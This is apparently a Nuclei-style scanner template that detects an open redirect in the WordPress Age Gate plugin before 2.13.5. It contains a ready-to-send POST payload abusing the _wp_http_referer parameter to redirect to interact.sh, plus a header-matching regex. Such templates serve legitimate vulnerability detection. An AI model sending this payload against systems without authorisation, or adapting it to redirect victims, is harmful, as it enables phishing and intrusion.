id: age-gate-open-redirect

info:
  name: WordPress Age Gate <2.13.5 - Open Redirect
  author: akincibor
  severity: medium
  description: WordPress Age Gate plugin before 2.13.5 contains an open redirect vulnerability via the  _wp_http_referer parameter after certain actions and after invalid or missing nonces. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://wpscan.com/vulnerability/10489
    - https://packetstormsecurity.com/files/160236/
    - https://wordpress.org/plugins/age-gate
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 1
  tags: agegate,unauth,wpscan,packetstorm,wp-plugin,redirect,wordpress,wp,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/wp-admin/admin-post.php'

    body: age_gate%5Bd%5D=10&age_gate%5Bm%5D=10&age_gate%5By%5D=1990&age_gate%5Bremember%5D=1&age_gate%5Bage%5D=TVRnPQ%3D%3D&action=age_gate_submit&age_gate%5Bnonce%5D=48f2b89fed&_wp_http_referer=https://interact.sh

    headers:
      Content-Type: application/x-www-form-urlencoded
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4b0a00483046022100e865c1030d16c891a871af48f12fb07bc5d99fe2654388f5b238e049a1990f50022100d5e46448773eff7b1cda78d8a5341c1aa31f6fac3ff138983b4a4674bb8b89ea:922c64590222798bb761d5b6d8e72950